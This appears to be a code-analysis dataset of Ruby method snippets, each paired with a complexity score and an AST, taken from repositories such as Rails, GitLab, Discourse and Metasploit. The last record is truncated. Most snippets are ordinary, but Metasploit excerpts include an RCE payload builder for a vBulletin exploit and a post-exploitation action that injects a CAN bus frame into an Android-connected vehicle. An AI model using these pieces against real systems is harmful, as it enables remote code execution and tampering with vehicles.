{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":2306,"raw_source":"def setup\n    super\n    @pirate = Pirate.create(catchphrase: \"Don' botharrr talkin' like one, savvy?\")\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Don' botharrr talkin' like one, savvy?\"]}]}]}]}]}]}]}","id":"ff188a1b-d80e-4ebb-8e7e-aa0a5fbd1f97"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/incoming_message_whatsapp_cloud_service.rb","start_line":11,"raw_source":"def download_attachment_file(attachment_payload)\n    url_response = HTTParty.get(\n      inbox.channel.media_url(\n        attachment_payload[:id],\n        inbox.channel.provider_config['phone_number_id']\n      ),\n      headers: inbox.channel.api_headers\n    )\n    # This url response will be failure if the access token has expired.\n    inbox.channel.authorization_error! if url_response.unauthorized?\n    Down.download(url_response.parsed_response['url'], headers: inbox.channel.api_headers) if url_response.success?\n  end","complexity_score":34.9,"ast_json":"{\"type\":\"def\",\"children\":[\"download_attachment_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment_payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url_response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTParty\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel\"]},\"media_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel\"]},\"provider_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"phone_number_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel\"]},\"api_headers\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_response\"]},\"unauthorized?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel\"]},\"authorization_error!\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Down\"]},\"download\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_response\"]},\"parsed_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel\"]},\"api_headers\"]}]}]}]},null]}]}]}","id":"9382aef4-285b-469a-a38f-9edf5a37dbff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/branches_spec.rb","start_line":455,"raw_source":"def clear_search_input\n    find('input[data-testid=\"branch-search\"]').set('')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_search_input\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"input[data-testid=\\\"branch-search\\\"]\"]}]},\"set\",{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"2434c10d-c32f-4353-aa3b-176ce2539a5a"}
{"repo_name":"forem","file_path":"./repos/forem/spec/requests/stories/tagged_articles_spec.rb","start_line":177,"raw_source":"def sets_remember_token\n            expect(response.cookies[\"remember_user_token\"]).not_to be_nil\n          end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sets_remember_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"cookies\"]},\"[]\",{\"type\":\"str\",\"children\":[\"remember_user_token\"]}]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]}","id":"57f241fd-2104-4cdb-9a62-4f2a085b50fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/37_timelogs.rb","start_line":61,"raw_source":"def self.find_or_create_reporter_user(username, password)\n    organization = User.admins.first.organizations.first\n    user = User.find_by_username(username)\n\n    if user.nil?\n      print \"\\nCreating user '#{username}' with password: '#{password}'\"\n\n      User.create!(\n        username: username,\n        name: FFaker::Name.name,\n        email: FFaker::Internet.email,\n        confirmed_at: DateTime.now,\n        password: password\n      ) do |user|\n        user.assign_personal_namespace(organization)\n      end\n    end\n\n    user\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_or_create_reporter_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"organization\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"admins\"]},\"first\"]},\"organizations\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_username\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nCreating user '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"' with password: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FFaker\"]},\"Name\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FFaker\"]},\"Internet\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirmed_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"assign_personal_namespace\",{\"type\":\"lvar\",\"children\":[\"organization\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"91eed444-7636-4b62-99da-1156f4c08d23"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/query.rb","start_line":80,"raw_source":"def raw_sum_sql(relation, column)\n            node = node_to_operate(relation, column)\n\n            relation.unscope(:order).select(node.sum).to_sql\n          end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_sum_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]},{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[null,\"node_to_operate\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"sum\"]}]},\"to_sql\"]}]}]}","id":"57f8edeb-f8e9-48df-8a81-1c39b18a937c"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/connection.rb","start_line":83,"raw_source":"def begin_transaction\n      @db.execute(\"BEGIN DEFERRED TRANSACTION\") unless @db.transaction_active?\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"begin_transaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"transaction_active?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"execute\",{\"type\":\"str\",\"children\":[\"BEGIN DEFERRED TRANSACTION\"]}]}]}]}","id":"15b36828-e87d-4626-ba8b-073d75b47488"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/ci/job_tokens_task.rb","start_line":34,"raw_source":"def check_policies_correctness\n        routes_with_invalid_policies = find_routes_with_invalid_policies\n        if routes_with_invalid_policies.empty?\n          puts 'All defined CI/CD job token policies are valid.'\n        else\n          puts '##########'\n          puts '#'\n          puts '# The following endpoints have invalid CI/CD job token policies:'\n          puts '#'\n          puts table_for_routes(routes_with_invalid_policies, include_policies: true)\n          puts '#'\n          puts '##########'\n\n          abort\n        end\n      end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_policies_correctness\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"routes_with_invalid_policies\",{\"type\":\"send\",\"children\":[null,\"find_routes_with_invalid_policies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes_with_invalid_policies\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"All defined CI/CD job token policies are valid.\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"##########\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"# The following endpoints have invalid CI/CD job token policies:\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"table_for_routes\",{\"type\":\"lvar\",\"children\":[\"routes_with_invalid_policies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_policies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"##########\"]}]},{\"type\":\"send\",\"children\":[null,\"abort\"]}]}]}]}]}","id":"ba40134e-9857-4c77-8941-2b6f3723f8e8"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report_line_items/products_performance.rb","start_line":45,"raw_source":"def pre_tax_amount\n        Spree::Money.new(record.pre_tax_amount, currency: currency)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"pre_tax_amount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Money\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"pre_tax_amount\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}","id":"5e8faec0-6ad7-4b57-9425-48195970833a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/self_assignment.rb","start_line":49,"raw_source":"def check_send_node(node, rhs, var_name, var_type)\n          return unless OPS.include?(rhs.method_name)\n\n          target_node = s(var_type, var_name)\n          return unless rhs.receiver == target_node\n\n          add_offense(node, message: format(MSG, method: rhs.method_name)) do |corrector|\n            autocorrect(corrector, node)\n          end\n        end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_send_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"rhs\"]},{\"type\":\"arg\",\"children\":[\"var_name\"]},{\"type\":\"arg\",\"children\":[\"var_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"method_name\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"target_node\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"lvar\",\"children\":[\"var_type\"]},{\"type\":\"lvar\",\"children\":[\"var_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"receiver\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"target_node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"method_name\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"d0e3a8de-ed4b-4297-a024-6b231ccd8c70"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":702,"raw_source":"def test_opclass_class_parsing_on_non_reserved_and_cannot_be_function_or_type_keyword\n    @connection.enable_extension(\"pg_trgm\")\n    @connection.execute \"CREATE INDEX trains_position ON trains USING gin(position gin_trgm_ops)\"\n    @connection.execute \"CREATE INDEX trains_name_and_position ON trains USING btree(name, position text_pattern_ops)\"\n\n    output = dump_table_schema \"trains\"\n\n    assert_match(/opclass: :gin_trgm_ops/, output)\n    assert_match(/opclass: \\{ position: :text_pattern_ops \\}/, output)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_opclass_class_parsing_on_non_reserved_and_cannot_be_function_or_type_keyword\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"enable_extension\",{\"type\":\"str\",\"children\":[\"pg_trgm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX trains_position ON trains USING gin(position gin_trgm_ops)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX trains_name_and_position ON trains USING btree(name, position text_pattern_ops)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"trains\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"opclass: :gin_trgm_ops\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"opclass: \\\\{ position: :text_pattern_ops \\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"cc3ddf03-2a5d-4a95-ac40-a0fd12a5e3f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/position_collection.rb","start_line":36,"raw_source":"def valid_head_sha?(position)\n        return true unless @diff_head_sha\n\n        position.head_sha == @diff_head_sha\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_head_sha?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"position\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_head_sha\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"position\"]},\"head_sha\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@diff_head_sha\"]}]}]}]}","id":"8af973b2-c4b4-42bb-bc72-b5e845c6a264"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/ticket.rb","start_line":19,"raw_source":"def get_checksum_type(enc_type)\n            # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers\n            case enc_type\n            when Rex::Proto::Kerberos::Crypto::Encryption::AES256\n              Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256\n            when Rex::Proto::Kerberos::Crypto::Encryption::AES128\n              Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128\n            when Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC\n              Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5\n            else\n              raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new(\"Unknown crypto type: #{enc_type}\")\n            end\n          end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_checksum_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"enc_type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enc_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"AES256\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Checksum\"]},\"SHA1_AES256\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"AES128\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Checksum\"]},\"SHA1_AES128\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"RC4_HMAC\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Checksum\"]},\"HMAC_MD5\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown crypto type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enc_type\"]}]}]}]}]}]}]}","id":"8d28fd43-8065-44d7-ae30-23ae0d21777d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vbulletin_widget_template_rce.rb","start_line":93,"raw_source":"def cmd_payload(command)\n    \"echo #{datastore['PHP_CMD']}(base64_decode('#{Rex::Text.encode_base64(command)}')); exit;\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PHP_CMD\"]}]}]},{\"type\":\"str\",\"children\":[\"(base64_decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"str\",\"children\":[\"')); exit;\"]}]}]}","id":"e97d2317-85d9-41ad-97b6-bf7ef42f1143"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/reference_parser/issuable_parser.rb","start_line":6,"raw_source":"def nodes_visible_to_user(user, nodes)\n        records = records_for_nodes(nodes)\n\n        nodes.select do |node|\n          issuable = records[node]\n\n          issuable && can_read_reference?(user, issuable)\n        end\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"nodes_visible_to_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[null,\"records_for_nodes\",{\"type\":\"lvar\",\"children\":[\"nodes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issuable\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"send\",\"children\":[null,\"can_read_reference?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]}]}]}]}]}","id":"8fe8c476-75d2-4a00-ae8b-1cd7b6e2c062"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/android/local/koffee.rb","start_line":145,"raw_source":"def action_low_fuel_warning\n    print_status(' -- Low fuel warning -- ')\n    send_in('8353 0B 01')\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"action_low_fuel_warning\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\" -- Low fuel warning -- \"]}]},{\"type\":\"send\",\"children\":[null,\"send_in\",{\"type\":\"str\",\"children\":[\"8353 0B 01\"]}]}]}]}","id":"d1324256-9319-4449-9ed5-08307ab22cc2"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140929204155_migrate_tos_setting.rb","start_line":4,"raw_source":"def up\n    res = execute(\"SELECT * FROM site_settings WHERE name = 'tos_accept_required' AND value = 't'\")\n    if res.present? && res.cmd_tuples > 0\n      label = \"Terms of Service\"\n\n      res = execute(\"SELECT value FROM site_texts WHERE text_type = 'tos_signup_form_message'\")\n      label = res[0][\"value\"] if res.present? && res.cmd_tuples == 1\n\n      label = PG::Connection.escape_string(label)\n      execute(\n        \"INSERT INTO user_fields (name, field_type, editable) VALUES ('#{label}', 'confirm', false)\",\n      )\n    end\n  end","complexity_score":25.68,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"SELECT * FROM site_settings WHERE name = 'tos_accept_required' AND value = 't'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"cmd_tuples\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"str\",\"children\":[\"Terms of Service\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_texts WHERE text_type = 'tos_signup_form_message'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"cmd_tuples\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Connection\"]},\"escape_string\",{\"type\":\"lvar\",\"children\":[\"label\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO user_fields (name, field_type, editable) VALUES 